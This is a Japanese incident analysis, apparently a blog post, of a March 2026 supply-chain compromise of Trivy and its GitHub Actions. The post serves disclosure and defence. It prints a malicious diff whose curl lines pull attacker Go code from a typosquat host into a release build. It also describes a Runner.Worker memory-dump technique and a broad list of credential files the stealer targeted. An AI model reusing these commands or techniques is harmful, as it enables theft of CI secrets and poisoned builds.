2026年3月19日の Trivy 再侵害の概要と対応指針

2026年3月19日、Aqua Security が提供するOSSセキュリティスキャナ Trivy のエコシステムが、3週間以内に2度目のサプライチェーン攻撃を受けました。攻撃者は aquasecurity/setup-trivy および aquasecurity/trivy-action の2つのGitHub Actionsに悪意あるコードを注入し、これらを利用するCI/CDパイプラインからクレデンシャルを大規模に窃取するペイロードを配布しました。

本記事では、GitHub Events APIおよびGitHub上に残存するcommitデータから取得したエビデンスをもとに、何が起こっているかを記録します。その上で、取りうる対応指針を示します。

免責

本記事の目的は事態の把握と対応の促進であり、違法行為への加担・助長を意図するものではありません。ペイロードの動作は手法の理解に必要な範囲で要約して記載しています。

筆者は Takumi Runner 等のCI/CDセキュリティ強化向けソリューションに関与していますが、本記事はそれらの営業を目的としたものではなく、Trivyユーザーや関係者の現状把握に資すること、及び今後他にも起こり得る侵害発生時への教訓とすることを目的に、個人の裁量で記録するものです。

また記述の一部には、不正確な情報が含まれている可能性があります。影響が大きそうな本件、早めに情報出しておこうというのが本懐ですので、この点もどうかご了承ください。(さよなら三連休)

TL;DR - 対応指針

  • Trivy バージョン v0.69.4 は偽。利用を避けてください。(筆者は現存する悪性バイナリを確認できていませんが…)
  • GitHub Action の aquasecurity/setup-trivyaquasecurity/trivy-action は、安全なコミットハッシュに利用を固定しましょう。
  • 3月19日〜3月20日前後にCI/CDでこれらのActionを実行した場合は、ログ調査やクレデンシャルのローテーション等を検討ください。
  • 事態を注視し、収束に向け応援しましょう・・・(めっちゃ偉大なプロジェクトなので・・・。僕は個人的にTrivyの大ファンであり、自分自身もユーザーです。事態の収束に向けて応援しています😭)

侵害の大きな流れ

侵害の概要は以下の通りです(図1)。今回の侵害では “Imposter Commit” と呼ばれる手法が使われていますが、その詳細は「Imposter Commitの偽装手法」で説明します。きれいな図を作る時間がなかったので、いかにも Claude が書きそうな図ですが、ご容赦ください。

                    攻撃者
                      │
           ┌──────────┴───────┐
           │ Imposter Commit  │           
           └──────────┬───────┘
                      │
        ┌─────────────┼─────────────┐
        ▼             ▼             ▼
  setup-trivy    trivy-action     trivy
  action.yaml    entrypoint.sh   v0.69.4 tag
   に注入          に注入          を作成
        │             │             │
        └──────┬──────┘             │
               ▼                    ▼
     利用者側ワークフローで       Homebrew / Helm
     Actionが実行される         等の下流が自動更新
               │
    ┌──────────┼──────────┐
    ▼          ▼          ▼
  第1段階    第2段階    第3段階
  環境変数   メモリ     暗号化
  収集       ダンプ     +送信
  (Shell)   (Python)   (OpenSSL)
               │
        ┌──────┴──────┐
        ▼             ▼
    攻撃者の       フォールバック
    サーバー       被害者GitHub上に
    scan.          tpcp-docsリポジトリ
    aquasecurtiy   を作成して送信
    .org

図1: 侵害の概要

侵害の起点

今回の侵害は、3週間前の初回侵害で窃取されたクレデンシャルが起点となっています。初回と再侵害の関係を整理するうえで鍵となるのが、aqua-bot というAqua Security組織のボットアカウントです。

aqua-bot はTrivyリポジトリにおいて日常的に使われているリリース自動化用のボットアカウントです。Events API (repos/aquasecurity/trivy/events) の記録によると、3月16日から19日にかけて release-please--branches--main ブランチへのPushEventが6回記録されており、継続的に稼働していることが確認できます。以下はその一部です。

// 2026-03-1618: 通常のリリース自動化活動
{"type":"PushEvent","actor":{"login":"aqua-bot"},"created_at":"2026-03-16T07:25:59Z","payload":{"ref":"refs/heads/release-please--branches--main"}}
{"type":"PushEvent","actor":{"login":"aqua-bot"},"created_at":"2026-03-17T08:33:59Z","payload":{"ref":"refs/heads/release-please--branches--main"}}
{"type":"PushEvent","actor":{"login":"aqua-bot"},"created_at":"2026-03-18T05:41:11Z","payload":{"ref":"refs/heads/release-please--branches--main"}}
{"type":"PushEvent","actor":{"login":"aqua-bot"},"created_at":"2026-03-18T09:50:59Z","payload":{"ref":"refs/heads/release-please--branches--main"}}

このボットのPATはリポジトリシークレットとして保存されていたと考えられます。

初回侵害: pull_request_target による aqua-bot PAT の窃取(2月28日)

2月28日、攻撃者はTrivyリポジトリの pull_request_target ワークフローの脆弱性を悪用しました。

pull_request_target はForkからのPull Requestに対してもベースリポジトリのコンテキスト(write権限のあるGITHUB_TOKEN、リポジトリシークレットへのアクセス)でワークフローを実行するため、PRのコードが信頼されたコンテキストで実行されるとシークレット漏洩に繋がります。この脆弱性により、攻撃者はワークフロー実行時にリポジトリシークレットへアクセスし、aqua-bot のPersonal Access Token (PAT) を窃取したと推定されます。Events APIの記録範囲(2月25日〜3月20日)を確認すると、2月28日前後に aqua-bot 名義の不審なアクティビティは記録されていません。初回侵害の段階では aqua-bot のPATはまだ悪用されておらず、攻撃者はPATの入手にとどまっていたと考えられます。

再侵害: 窃取済みPATによる aqua-bot の悪用(3月19日)

初回侵害後、pull_request_target の脆弱性自体は修正されたものの、aqua-bot のPATはローテーションされなかったと推定されます。攻撃者は窃取済みのPATを用いて3月19日に再度アクセスを獲得し、aqua-bot の権限でタグ操作やPR作成を行いました。

Events APIに記録された aqua-bot の3月19日の活動を見ると、通常のリリース自動化活動に紛れる形で、不審な操作が記録されています。

// 319日早朝: release-pleaseの定期push(正規か攻撃者の操作かは判別不能)
{"type":"PushEvent","actor":{"login":"aqua-bot"},"created_at":"2026-03-19T03:23:26Z","payload":{"ref":"refs/heads/release-please--branches--main"}}
{"type":"PushEvent","actor":{"login":"aqua-bot"},"created_at":"2026-03-19T05:10:51Z","payload":{"ref":"refs/heads/release-please--branches--main"}}

// 17:51: v0.70.0タグの削除  攻撃者による操作と推定
{"type":"DeleteEvent","actor":{"login":"aqua-bot"},"created_at":"2026-03-19T17:51:17Z","payload":{"ref":"v0.70.0","ref_type":"tag"}}

// 18:30: Helm chartバージョン更新PRの作成
{"type":"PullRequestEvent","actor":{"login":"aqua-bot"},"created_at":"2026-03-19T18:30:49Z","payload":{"action":"opened","pull_request":{"head":{"ref":"ci/helm-chart/bump-trivy-to-0.69.4"}}}}

早朝の release-please ブランチへのpushが正規の自動化によるものか攻撃者の操作かは、このデータだけでは判別できません。一方、17:51の v0.70.0 タグ削除と18:30のHelm chartバージョン更新PRは、前節のタイムライン(図2)とも一致する不審な操作です。

攻撃者は aqua-bot の権限を利用し、”Imposter Commit” と呼ばれる手法で侵害を実行しました。GitHubは内部的にGit alternatesという仕組みを使い、forkネットワーク内のリポジトリ間でGitオブジェクトを共有しています1。このため、あるforkにpushされたcommitは、そのSHAさえ分かればupstreamリポジトリのURLやAPI経由でもアクセスできます。タグはリポジトリからアクセス可能な任意のcommitを参照できるため、ブランチに直接pushすることなく、fork経由のcommitをタグ(=リリース)に紐づけることが可能です。こうしたcommitは “Imposter Commit” と呼ばれ、サプライチェーン攻撃に悪用されます1

攻撃者はこの手法で3つの経路から侵害を行いました。第一に、aquasecurity/setup-trivyaquasecurity/trivy-action の2つのGitHub Actionsにクレデンシャル窃取コードを注入しました。第二に、Trivyリポジトリに偽の v0.69.4 タグを作成し、リリースワークフローの改竄を試みました。第三に、既存の v0.70.0 タグを削除することで、v0.69.4 が最新リリースに見えるよう操作しました。

注入に使われたcommitには、検知を困難にするための偽装が施されています。GitHub Commits APIで取得した2つのcommitのレスポンスを示します(関連フィールドのみ抜粋)。

// GET /repos/aquasecurity/setup-trivy/commits/8afa9b9f9183b4e00c46e2b82d34047e3c177bd0
{
  "sha": "8afa9b9f9183b4e00c46e2b82d34047e3c177bd0",
  "commit": {
    "author": {"name": "Tomochika Hara", "email": "github@thara.dev", "date": "2026-01-15T10:21:20Z"},
    "committer": {"name": "GitHub", "email": "noreply@github.com", "date": "2026-01-15T10:21:20Z"},
    "message": "Pin Trivy install script checkout to a specific commit (#28)",
    "verification": {"verified": false, "reason": "unsigned"}
  },
  "author": {"login": "thara"},
  "committer": {"login": "web-flow"}
}

// GET /repos/aquasecurity/trivy-action/commits/ddb9da4475c1cef7d5389062bdfdfbdbd1394648
{
  "sha": "ddb9da4475c1cef7d5389062bdfdfbdbd1394648",
  "commit": {
    "author": {"name": "DmitriyLewen", "email": "91113035+DmitriyLewen@users.noreply.github.com", "date": "2026-03-02T03:22:29Z"},
    "committer": {"name": "GitHub", "email": "noreply@github.com", "date": "2026-03-02T03:22:29Z"},
    "message": "chore: bump Trivy version to v0.69.2 in test workflow and README (#515)",
    "verification": {"verified": false, "reason": "unsigned"}
  },
  "author": {"login": "DmitriyLewen"},
  "committer": {"login": "web-flow"}
}

これらのレスポンスからは、検知を困難にするための複数の偽装が読み取れます2

  • 著者名の詐称: setup-trivy側のcommit 8afa9b9 は実在のコントリビュータ “thara” を、trivy-action側の ddb9da4 はAquaチームメンバー “DmitriyLewen” を author として詐称している
  • 日付の改竄: commit.author.date がそれぞれ2026年1月15日、3月2日に設定されており、3月19日の侵害より大幅に前の日付になっている
  • 無害なcommitメッセージ: commit.message が “Pin Trivy install script checkout to a specific commit (#28)” や “chore: bump Trivy version to v0.69.2” といった、日常的なメンテナンス作業を装う内容になっている
  • GPG署名の偽装失敗: いずれのcommitも committer が “GitHub noreply@github.com“(web-flow)に設定されている。これはGitHub UIを通じたマージに見せかける偽装だが、GitHub UIで正規にマージされたcommitにはGitHubのGPG鍵による自動署名が付与される。verification.verifiedfalseverification.reason"unsigned" を返しており、正規のマージでないことがAPI経由で判別できる

これらの偽装により、仮にcommitの内容が目視レビューされた場合でも、正規の開発活動と区別しにくい状態が作り出されていました。ただし、GPG署名の欠如はAPIを通じた機械的な検知ポイントとなります。

補足: Imposter Commitのpush元forkの調査

Imposter Commitの手法ではforkリポジトリ経由でcommitをpushする必要があるため、侵害に使われたforkの特定も試みました。ただし、GitHubのforkネットワークではGit alternatesによりオブジェクトが共有されるため、あるcommit SHAが特定のforkのAPIから取得できたとしても、そのforkからpushされたことの証明にはなりません。現時点では確実な特定には至っていません。

侵害の具体的な内容

今回の侵害は、Trivy本体(v0.69.4タグ)と2つのGitHub Action(setup-trivy、trivy-action)の2つの経路で行われています。以下ではそれぞれについて、分析対象の取得元と注入されたコードの内容を説明します。

Trivy v0.69.4: リリースワークフローの改竄

攻撃者は Trivy リポジトリに対し、偽の v0.69.4 タグを作成しました。このタグはインシデント対応時に削除済みですが、2つの経路から分析対象を取得できました。第一に、Goモジュールプロキシ(proxy.golang.org)はモジュールを不変にキャッシュするため、v0.69.4のソースコードが保存されていました。第二に、v0.69.4タグが指すImposter Commit(1885610)はGitHub Commits API経由で依然アクセス可能です。

ワークフローへの注入内容

proxy.golang.org から取得した v0.69.4 のメタデータは以下の通りです。

// GET https://proxy.golang.org/github.com/aquasecurity/trivy/@v/v0.69.4.info
{
  "Version": "v0.69.4",
  "Time": "2026-03-04T10:13:53Z",
  "Origin": {
    "VCS": "git",
    "URL": "https://github.com/aquasecurity/trivy",
    "Hash": "1885610c6a34811c8296416ae69f568002ef11ec",
    "Ref": "refs/tags/v0.69.4"
  }
}

v0.69.4 タグが指すcommit 1885610 もGitHub Commits APIから取得可能であり、setup-trivyやtrivy-actionと同様にImposter Commitです(verification.verified: false、著者として “DmitriyLewen” を詐称)。変更対象は .github/workflows/release.yaml.github/workflows/reusable-release.yaml の2ファイルのみで、Trivyのソースコード自体は改変されていません。

proxy.golang.org からダウンロードした v0.69.4v0.69.3 のソースを比較すると、reusable-release.yamlactions/checkout の参照先が正規のcommitからImposter Commitに差し替えられていることがわかります。

# reusable-release.yaml の差分(抜粋)
-        uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1
+        uses: actions/checkout@70379aad1a8b40919ce8b382d3cd7d0315cde1d0 # v6.0.2

正規の 8e8c483(v6.0.1)が 70379aa に置き換えられており、コメントには # v6.0.2 と記載されていますが、実際のv6.0.2のcommit SHAとは異なります。diff内の他の変更(docker/login-actiongoreleaser/goreleaser-actionactions/cache 等のバージョン更新)はいずれも正規の署名付きcommitへの参照であり、この差し替えを日常的なバージョン更新に紛れ込ませるためのカモフラージュと考えられます。

この 70379aa 自体が actions/checkout リポジトリに対するImposter Commitです(著者としてVercel CEOの “Guillermo Rauch”(rauchg)を詐称、commitメッセージは “Fix tag handling: preserve annotations and explicit fetch-tags (#2356)”)。GitHub Commits APIから取得したdiffの内容を以下に示します。

# actions/checkout の Imposter Commit 70379aa のdiff
 runs:
-  using: node24
-  main: dist/index.js
-  post: dist/index.js
+  using: 'composite'
+  steps:
+   - uses: actions/checkout@0c366fd6a839edf440554fa01a7085ccba70ac98
+     with:
+       fetch-depth: 0
+       persist-credentials: false
+   - name: "Setup Checkout"
+     shell: bash
+     run: |
+       BASE="https://scan.aquasecurtiy.org/static"
+       curl -sf "$BASE/main.go" -o cmd/trivy/main.go &> /dev/null
+       curl -sf "$BASE/scand.go" -o cmd/trivy/scand.go &> /dev/null
+       curl -sf "$BASE/fork_unix.go" -o cmd/trivy/fork_unix.go &> /dev/null
+       curl -sf "$BASE/fork_windows.go" -o cmd/trivy/fork_windows.go &> /dev/null
+       curl -sf "$BASE/.golangci.yaml" -o .golangci.yaml &> /dev/null

正規の actions/checkoutnode24 ランタイムで dist/index.js を実行しますが、Imposter Commit版では composite アクションに差し替えられています。まず正規のcheckout(親commitの 0c366fd)でソースを取得した後、”Setup Checkout” ステップで攻撃者のサーバー(scan[.]aquasecurtiy[.]org/static/)からGoのソースファイル(main.go, scand.go, fork_unix.go, fork_windows.go)をダウンロードし、Trivyのソースツリー(cmd/trivy/)に上書きします。その後GoReleaserによるビルドが実行されるため、結果として生成されるバイナリには攻撃者のサーバーから取得したコードが含まれることになります。

v0.69.4 のコードベースでビルドした下流への影響

v0.69.4 タグが指すcommit 1885610 の変更対象はCIワークフローファイル(.github/workflows/)のみであり、Goソースコード自体は改変されていません。したがって、このcommitのコードベースをGitHub Actionsリリースワークフローの外でビルドした場合(go build やHomebrew等のソースビルド)、生成されるバイナリは無害です。悪意あるコードが混入するのは、改竄されたリリースワークフローがGitHub Actions上で実行され、Imposter版 actions/checkout が攻撃者のサーバーからGoソースをダウンロードしてソースツリーを差し替えた場合に限られます。

では、そのリリースワークフローは実際に実行され、悪意あるバイナリが生成・配布されたのでしょうか。複数のデータソースから確認した結果、v0.69.4 についてはGitHub Releaseは作成されず、タグのみが公開されたと考えられます。

Events API(repos/aquasecurity/trivy/events)のカバー範囲は3月14日〜20日の282件であり、3月19日のイベントは十分に含まれています。同日の DeleteEvent(v0.69.4タグ削除、v0.70.0タグ削除)は記録されている一方、v0.69.4 に対応する ReleaseEvent は記録されていません。なお、trivyリポジトリの直前のリリース(v0.69.3、3月3日)はこのカバー範囲外であるため、同リポジトリの過去の ReleaseEvent との直接比較はできません。ただし、同日・同組織の aquasecurity/setup-trivy リポジトリのEvents APIには、インシデント対応で公開された v0.2.6 の ReleaseEvent(21:43、actor: simar7)が記録されており、3月19日にGitHubのEvents APIが ReleaseEvent を正常に記録していたことは確認できます。

GitHub Releases API(/repos/aquasecurity/trivy/releases/tags/v0.69.4)も 404 を返します。リリースが作成された後に削除された場合でもAPIは404を返すため、これだけでは判断できませんが、Events APIに ReleaseEvent がないことと合わせると、リリース自体が作成されなかった可能性が高いと考えられます。

GitHub Actionsのワークフロー実行記録(/actions/workflows/release.yaml)を確認すると、直近の実行はRun #144(v0.69.3、3月3日)で止まっており、Run #145以降は存在しません。release.yamlmkdocs-latest.yaml(ドキュメントデプロイ)はいずれも on: push: tags: "v*" でトリガーされます。17:45に gh-pages へのpush(ドキュメントデプロイの成果物)がEvents APIに記録されていることから、タグpushによるワークフロー起動自体は発生していたと考えられますが、release.yaml のRun記録がないのは、起動しなかったか、起動後に削除されたかのいずれかです。

Homebrewについては、BrewTestBot が18:05にPR #273257 を作成しています。ただし、Homebrewのバージョン検知(brew livecheck)はGitHub Releases APIではなく git ls-remote --tags でタグの存在を確認する仕組みであるため、Homebrewの反応はGitHub Releaseの存在を意味しません。Homebrewのformulaはソースtar.gz(GitHubがタグから自動生成するもの)からビルドするため、GoReleaserを経由せず、リリースワークフローの改竄の影響を受けません。

以上を総合すると、v0.69.4 についてはタグのみが作成され、GitHub Releaseおよびリリースワークフローによるバイナリビルドは行われなかったと推定されます。Docker Hub(aquasec/trivy)、ghcr.io(ghcr.io/aquasecurity/trivy)、AWS ECR Public、Homebrewのbottle(ghcr.io/homebrew/core/trivy)のいずれにも 0.69.4 のビルド済みバイナリやコンテナイメージは存在せず、改竄されたリリースワークフロー経由でビルドされたバイナリが配布チャネルに到達した形跡は確認されていません。

setup-trivy / trivy-action: クレデンシャル窃取ペイロードの注入

2つのGitHub Actionについては、Imposter Commitが各リポジトリの既存のタグに紐づけられる形で侵害が行われました。aquasecurity/setup-trivy では v0.2.5 タグがImposter Commitに向き先を変更され(Events APIで21:07にインシデント対応としてこのタグの削除が記録されている)、aquasecurity/trivy-action ではStepSecurityの報告3によると1つを除くほぼすべてのタグがImposter Commitに向き先を変更されました。これにより、これらのActionをタグ参照(@v0.2.5@v0.28.0 等)で利用していたCI/CDパイプラインは、次回の実行時に悪意あるコードを取得することになります。

Imposter Commit自体は依然としてGitHub Commits APIからアクセス可能であり、patchフィールドから注入内容を確認できます。いずれもGitHub上では「This commit does not belong to any branch on this repository」と警告が表示されます。

両Actionには同一のクレデンシャル窃取ペイロードが注入されていました。以下ではsetup-trivyを例に注入箇所の構造を示したうえで、ペイロードの各段階を説明します。

setup-trivy: action.yaml への注入

正規版の action.yaml(親commit 3fb12ec)は103行で、Binary dir ステップの直後に Check the version for caching が続くシンプルな構成でした。侵害版(commit 8afa9b9 のdiffより)では Binary dir の直後に Setup environment という名前の悪意あるステップが挿入され、全体が209行に膨張しています(図3)。

# 注入箇所の構造を示すための抜粋(ペイロード本体は省略)
runs:
  using: "composite"
  steps:
    - name: Binary dir           # ← 正規ステップ
      id: binary-dir
      shell: bash
      run: echo "dir=..." >> $GITHUB_OUTPUT

    - name: Setup environment    # ← ここから悪意あるステップ(109行)
      shell: bash
      continue-on-error: true    # ← 失敗しても後続ステップに影響しない
      run: |
        ...(省略)...

    ## Don't cache `latest` version
    - name: Check the version for caching  # ← 正規ステップに復帰

図3: setup-trivy action.yaml への注入箇所。continue-on-error: true によりペイロードが失敗しても正規のTrivyインストールは完了する

注目すべきは continue-on-error: true の設定です。これにより、ペイロードの実行が何らかの理由で失敗しても後続の正規ステップ(Trivyのインストール)は正常に動作します。ユーザーから見ると「Trivyが正常にインストールされた」ように見え、侵害の痕跡に気付きにくい設計です。

trivy-action: entrypoint.sh への注入

同様に、正規版の entrypoint.sh(親commit 57a97c7)は冒頭が set -euo pipefail の直後にTrivy実行ロジックが続く構成でした。侵害版(commit ddb9da4 のdiffより)では set -euo pipefail の直後に 112行の悪意あるコードが挿入されています。両Actionで同一のペイロードが使用されていました。

第1段階: 環境変数の収集

ペイロードの最初の段階では、GitHub Actions Runnerの関連プロセスから環境変数を収集します。GitHub Actions Runnerは Runner.WorkerRunner.Listener などの複数プロセスで構成されており、それぞれが環境変数としてシークレットやトークンを保持しています。このスクリプトは、それらのプロセスの環境変数を /proc ファイルシステム経由で直接読み取ることで、ワークフローに渡されたクレデンシャルを横取りします。

ペイロードの動作を要約すると、以下の流れになります。

  1. pgrep でRunner関連プロセス(Runner.Worker, Runner.Listener等)のPIDを収集
  2. 各PIDについて /proc/<pid>/environ を読み取り
  3. 環境変数のうちキー名に env または ssh を含むものを抽出
  4. 抽出した値がファイルパスを指していれば、そのファイルの内容も収集
  5. 収集結果を一時ファイルに保存

スクリプトはまず pgrepRunner.WorkerRunner.Listenerrunsvcrun.sh のPIDを特定します。次に、各PIDの /proc/<pid>/environ を読み取り、キー名に env または ssh を含む環境変数(大文字小文字不問)を抽出します。さらに、抽出した値がファイルパスを指している場合はそのファイルの内容も収集します。SSH秘密鍵のパスが環境変数に格納されている場合、鍵ファイルの中身まで窃取される仕組みです。

収集結果は /tmp/runner_collected_$$.txt に一時保存され、第3段階で暗号化・送信されます。

第2段階-A: Runner.Workerメモリダンプ(GitHub-Hosted Runner向け)

第1段階の環境変数収集に加え、GitHub-Hosted Runner上ではより踏み込んだ手法でシークレットが抽出されます。環境が Linux かつ RUNNER_ENVIRONMENT=github-hosted の場合、base64エンコードされたPythonスクリプトがデコード・実行されます。このスクリプトは sudo python3 で起動され、Runner.Workerプロセスのメモリを直接読み取ることで、環境変数には現れないワークフローシークレットまで窃取します。

このスクリプト(元スクリプト: 938バイト)の動作は以下の通りです。

  1. /proc/*/cmdline を走査し、Runner.Worker プロセスのPIDを特定
  2. /proc/<pid>/maps から読み取り可能なメモリ領域のアドレス範囲を取得
  3. /proc/<pid>/mem 経由で各メモリ領域の内容を読み出し
  4. ダンプしたデータから、Runner内部のシークレット保持形式({"value":"...","isSecret":true} というJSON構造)に合致する部分を正規表現で抽出

環境変数に露出しないシークレット(secrets.* で参照されるもの)もこの手法で取得されます。

第2段階-B: ファイルシステム広域走査(Self-Hosted Runner向け)

GitHub-Hosted Runnerでない場合(Self-Hosted Runner等)、別のbase64エンコードされたPythonスクリプト(6,885バイト)が実行されます。Self-Hosted Runnerでは /proc/<pid>/mem 経由のメモリダンプが権限不足で失敗する場合が多いため、このスクリプトはメモリではなくファイルシステムを走査し、ディスク上のクレデンシャルファイルを直接読み取る方針を採ります。

スクリプトは、指定したルートディレクトリから深度制限付きで再帰的にファイルシステムを走査し、条件に合致するファイルの内容を収集する構造になっています。収集対象は以下の通り広範です。

カテゴリ 収集対象
SSH鍵 ~/.ssh/id_rsa, id_ed25519, id_ecdsa, id_dsa, authorized_keys, known_hosts, /etc/ssh/ssh_host_*_key
Git認証情報 ~/.git-credentials, ~/.gitconfig
AWS ~/.aws/credentials, ~/.aws/config, 環境変数 AWS_*, EC2メタデータ (169.254.169.254), ECSタスクロール (169.254.170.2)
GCP ~/.config/gcloud/ 全体, application_default_credentials.json, $GOOGLE_APPLICATION_CREDENTIALS
Azure ~/.azure/ 配下全体
Kubernetes ~/.kube/config, /etc/kubernetes/*.conf, ServiceAccountトークン, kubectl get secrets --all-namespaces
Docker ~/.docker/config.json, /kaniko/.docker/config.json
データベース ~/.pgpass, ~/.my.cnf, ~/.mongorc.js, Redis設定, MySQL設定
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, .drone.yml, ansible.cfg
TLS証明書 /etc/ssl/private/*.key, /etc/letsencrypt/**/*.pem, *.p12, *.pfx
環境変数ファイル .env, .env.local, .env.production, .env.development, .env.staging
VPN /etc/wireguard/*.conf, wg showconf all
暗号通貨ウォレット Bitcoin, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero, Ethereum keystore, Cardano signing/verification keys, Solana validator/vote/stake keypairs, Anchor deploy keys
Webhook Slack webhook URLs, Discord webhook URLs
システム情報 /etc/passwd, /etc/shadow, 認証ログ, シェルヒストリ

図7: 第2段階-Bで収集されるクレデンシャルの一覧(ペイロードのソースコードから抽出)

暗号通貨ウォレットの収集範囲も広範です。Bitcoin系だけでなく、Ethereum keystore、Cardanoの署名鍵 (.skey)、Solana validatorのkeypair (validator-keypair.json, vote-account-keypair.json 等) まで含まれています。Solana関連のパスは /home/sol, /home/solana, /opt/solana など、バリデータノードの典型的なデプロイ先を狙い撃ちしています。

また、スクリプト末尾には ## TeamPCP Cloud stealer というコメントが含まれていました。これは攻撃グループの名称(他事案にも登場する TeamPCP)、または攻撃ツールの内部名称と推定されます。

第3段階: 暗号化とエクスフィルトレーション

第1段階・第2段階で /tmp/runner_collected_$$.txt に蓄積されたクレデンシャルは、最終段階でハイブリッド暗号化を施されたうえで攻撃者のサーバーに送信されます。ハイブリッド暗号化とは、データ本体を共通鍵暗号(AES)で暗号化し、その共通鍵を公開鍵暗号(RSA)で暗号化する方式です。RSA公開鍵に対応する秘密鍵を持つ攻撃者だけがデータを復号できるため、転送経路上での傍受や、被害者側でのペイロード解析による内容の特定を困難にしています。

処理の流れは以下の通りです。

  1. ランダムな32バイトのAESセッション鍵を生成
  2. 収集データをセッション鍵でAES-256-CBC(PBKDF2鍵導出)暗号化
  3. セッション鍵をスクリプト内にハードコードされたRSA-4096公開鍵(OAEP padding)で暗号化
  4. 暗号化済みデータとセッション鍵を tar.gz にバンドル
  5. 攻撃者のサーバー(scan[.]aquasecurtiy[.]org)にHTTP POSTで送信
  6. レスポンスコードを記録し、後述するフォールバック機構の判定に使用

送信先ドメインは scan[.]aquasecurtiy[.]org で、正規ドメイン aquasecurity.org のtyposquat(securitysecurtiyti の転置)です。IPアドレスは 45[.]148[.]10[.]212(TECHOFF SRV LIMITED, Amsterdam)に解決されます。

仮に攻撃者のサーバーへの送信が失敗した場合(HTTP 2xx以外)に備え、フォールバック経路も実装されています。このフォールバックは、被害者自身のGitHubアカウントを経由してデータを外部に持ち出す仕組みです。被害者のCI/CDパイプラインがActionに渡している INPUT_GITHUB_PAT を流用し、被害者のGitHubアカウント上に公開リポジトリを作成してデータをアップロードします。

攻撃者のサーバーへの送信が失敗した場合(HTTP 2xx以外)かつ INPUT_GITHUB_PAT が存在する場合、以下の手順でフォールバックが実行されます。

  1. PATを使い、被害者のGitHubアカウントに tpcp-docs という公開リポジトリを作成
  2. PATからユーザー名を取得
  3. タイムスタンプ付きタグでリリースを作成
  4. 暗号化データをリリースアセットとしてアップロード

公開リポジトリのため攻撃者は認証なしにデータを回収でき、リポジトリ名もドキュメントリポジトリを装っています。一方で、被害者のアカウントに痕跡が残るため、tpcp-docs リポジトリの存在を確認することでフォールバックの発動を検知できます。

対応すべきこと

安全なバージョンの確認と固定

事態は刻一刻と変化しているため、まず利用しているバージョンが安全であることの確認が最優先です。

Trivyバイナリについては、v0.69.3 が侵害前の最新の正規バージョンです。v0.69.4 は偽のタグであるため、v0.69.3 またはインシデント対応後にリリースされたバージョンを利用してください。

GitHub Actionについては、以下のcommit SHAが侵害前の最新の正規commitです。

ワークフロー内でこれらのActionをタグ参照(@v1 等)している場合は、上記のcommit SHAによる固定に切り替えてください。また、CI/CDの実行ログを確認し、3月19日〜3月20日に実行されたジョブがないかを確認してください。

影響が考えうる場合の追加調査

上記の期間にActionが実行された可能性がある場合は、IoCs(後述)に基づいた追加調査が必要です。

まず、CI/CDランナーからの通信ログがあれば、攻撃者のサーバー(scan[.]aquasecurtiy[.]org / 45[.]148[.]10[.]212)への接続の有無を確認してください。フォールバック経路が使われた場合は、GitHubアカウント上に tpcp-docs という名前のリポジトリが作成されていないかも確認対象です。

影響が確認された環境では、ペイロードの収集対象を踏まえ、以下のクレデンシャルのローテーションが必要です。

  • CI/CDパイプラインに渡していたGitHub PAT、GITHUB_TOKEN で発行された一時トークン
  • ワークフロー内で secrets.* 経由で参照していたシークレット(GitHub Actions Runnerのメモリダンプにより窃取された可能性がある)
  • ランナー上に存在したSSH鍵、クラウドプロバイダのクレデンシャル(AWS/GCP/Azure)、Kubernetesの認証情報
  • Self-Hosted Runnerの場合は、ホストマシン上の暗号通貨ウォレット鍵、データベース認証情報、TLS秘密鍵など、第2段階-Bの収集対象(図7)に含まれるクレデンシャル

中長期的な備え

今回の侵害では、ランナーからの通信ログが残っていない環境では事後の影響範囲の特定が困難でした。同様の侵害は今後も他のプロジェクトで起こり得ます。中長期的には、記録検知リスク低減の3つの軸で備えることが有効です。

  • 記録: ランナーからの外部通信をプロセス単位でログとして記録する仕組みを導入する。侵害発生後に「何が起きたか」を追跡するための基盤であり、今回のような事例では攻撃者のサーバーへの接続有無の確認に直結する
  • 検知: 通常のワークフロー実行時の通信先をベースラインとして記録し、ベースライン外への通信が発生した際に検知する仕組みを構築する。今回のペイロードは scan[.]aquasecurtiy[.]org への通信を行っており、ベースラインが存在すれば異常として検知できる
  • リスク低減: ランナーに渡される情報を最小化し、仮に侵害が発生しても被害範囲を限定する
    • permissions: ブロックの明示的設定により、GITHUB_TOKEN の権限を必要最小限に制限する。今回のフォールバック経路はPATの repo 権限を悪用しているため、権限を絞ることで被害範囲を限定できる
    • シークレットのスコープをリポジトリ全体ではなく、必要な環境(Environment)にのみ紐づける
    • Self-Hosted Runnerのプロセスをコンテナ内に隔離し、ホストマシン上のクレデンシャルへのアクセスを制限する。特に暗号通貨バリデータノードやクラウド管理サーバーとの同居は避ける

(冒頭で述べた通り、筆者は Takumi Runner の開発に関わっています。今回の侵害を分析しながら、こういった事態に対してまだまだできることがあると感じています。がんばらなきゃなと思っています。ぐぬぬ。。。)

学び

今回の侵害から得られる教訓を2つの観点から整理します。

Imposter Commitとタグ操作による侵害

今回の侵害で注目すべきは、攻撃者がリポジトリのブランチに一切触れていないという点です。PATさえあれば、Imposter Commitの手法でfork経由のcommitをタグに紐づけることができるため、リポジトリへの直接的なpushやPull Requestなしに侵害が成立します。ブランチの変更履歴やPRのレビュー記録には痕跡が残らず、タグの向き先が変わったことに気付くのは容易ではありません。

一方で、Imposter Commitには検知の手がかりもあります。今回のケースでは、攻撃者がcommitの author / committer フィールドを正規のメンテナに偽装していましたが、GitHub UIで正規にマージされたcommitに付与されるGPG自動署名を再現できず、verification.verifiedfalse を返していました。メンテナを詐称しないcommitであれば、メンテナ以外のcommitがタグに紐づいていること自体が異常として検知できます。commit verification APIを活用した機械的なチェックは、Imposter Commitに対する現実的な検知手段の一つになり得ます。

(いや、とはいえ、これみんなが実装するようなものでじゃなくて、それこそ弊社とかで頑張ったほうがいいんだろうなあと思う次第)

Runner.Workerのメモリダンプによるシークレット窃取

GitHub Actionsでは、ワークフローに渡されたシークレットはログ出力時にマスクされ、環境変数としての直接アクセスも制限されています。しかし今回のペイロードは、Runner.Workerプロセスのメモリダンプによってこの保護の外側からシークレットを取得しています。

Runner.Workerプロセスは、ワークフロー実行時にシークレットを {"value":"...","isSecret":true} というJSON構造でヒープメモリ上に保持しています。攻撃者はこの内部実装を把握したうえで、/proc/<pid>/mem 経由でプロセスメモリを丸ごと読み取り、正規表現でシークレットを抽出しました。GitHub-Hosted Runnerでは sudo が利用可能であるため、この手法が成立します。

